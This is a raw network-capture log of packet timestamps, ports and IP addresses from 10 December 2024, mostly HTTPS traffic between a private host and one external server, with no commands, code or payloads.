Dec 10, 2024 12:48:44.825891972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.830988884 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.831006050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.831074953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.831080914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.831120014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.837196112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.837212086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.837275982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.837280989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.837323904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.843028069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.843044043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.843106031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.843111992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.843153000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.848629951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.848647118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.848701000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.848706007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.848750114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.854581118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.854597092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.854635954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.854655027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.854681015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.854701996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.859797001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.859813929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.859870911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.859884977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.859924078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.011955976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.011976004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.012044907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.012065887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.012109041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.017884970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.017900944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.017963886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.017970085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.018013000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.023992062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.024008036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.024066925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.024072886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.024116039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.029201984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.029220104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.029270887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.029275894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.029314995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.029340029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.035140038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.035156965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.035227060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.035232067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.035283089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.040879011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.040894032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.040955067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.040961027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.041019917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.046690941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.046706915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.046781063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.046791077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.046833038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.052726984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.052742958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.052861929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.052866936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.052917957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.075170994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.208101034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.208118916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.208194017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.208223104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.208271027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.210630894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.210647106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.210704088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.210710049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.210757971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.216350079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.216370106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.216430902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.216437101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.216478109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.221657991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.221667051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.221744061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.221750021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.221791029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.227653980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.227669954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.227735996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.227741957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.227781057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.233198881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.233215094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.233275890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.233282089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.233325005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.239137888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.239154100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.239209890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.239216089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.239259005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.245208025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.245223045 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.245296001 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.245301962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.245346069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.396583080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.396601915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.396682978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.396713018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.396759033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.402647018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.402661085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.402717113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.402735949 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.402775049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.408489943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.408504963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.408554077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.408571959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.408612013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.413811922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.413825989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.413882017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.413894892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.413935900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.420265913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.420280933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.420356035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.420378923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.420420885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.425364017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.425378084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.425431967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.425453901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.425496101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.431410074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.431426048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.431495905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.431512117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.431555033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.437289953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.437310934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.437367916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.437386036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.437427044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.461718082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.507529020 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:45.588648081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.588674068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.588767052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.588788986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.588834047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.594784021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.594805956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.594871998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.594897985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.594937086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.600634098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.600652933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.600708008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.600730896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.600774050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.606756926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.606781006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.606821060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.606842995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.608954906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.608954906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.611938953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.611954927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.612000942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.612021923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.612037897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.612056971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.617517948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.617532969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.617588997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.617603064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.617645025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.623749018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.623764038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.623822927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.623835087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.623879910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.629476070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.629492044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.629544973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.629550934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.629594088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.781615973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.781646967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.781728029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.781740904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.781789064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.786961079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.786981106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.787040949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.787045956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.787091970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.792890072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.792912006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.792983055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.792992115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.793037891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.799015999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.799063921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.799120903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.799125910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.799175978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.804406881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.804428101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.804505110 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.804510117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.804552078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.810460091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.810486078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.810524940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.810528994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.810555935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.810578108 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.815722942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.815742970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.815819025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.815824032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.815856934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.821803093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.821829081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.821882963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.821887970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.821934938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.851108074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.973743916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.973764896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.973853111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.973870993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.974020958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.979022980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.979038954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.979095936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.979103088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.979152918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.985013008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.985029936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.985085964 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.985091925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.985136986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.990983009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.991005898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.991041899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.991046906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.991080999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.996227026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.996251106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.996289015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.996294022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:45.996306896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:45.996334076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.002620935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.002638102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.002697945 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.002702951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.002743959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.007850885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.007867098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.007925034 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.007930040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.007972956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.014085054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.014102936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.014184952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.014190912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.014230013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.165736914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.165755033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.165816069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.165824890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.165873051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.171679974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.171696901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.171750069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.171756983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.171802044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.177639008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.177655935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.177705050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.177709103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.177752018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.182918072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.182934999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.182993889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.183000088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.183043957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.189291954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.189307928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.189361095 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.189366102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.189409971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.194775105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.194789886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.194849968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.194855928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.194900036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.200490952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.200511932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.200572014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.200577974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.200614929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.206466913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.206490040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.206545115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.206548929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.206589937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.239247084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.358068943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.358084917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.358262062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.358272076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.358314037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.364244938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.364259958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.364311934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.364319086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.364362955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.369395971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.369410992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.369483948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.369489908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.369540930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:46.375269890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.375284910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:46.375349998 CET	49729	443	192.168.2.17	47.254.218.16
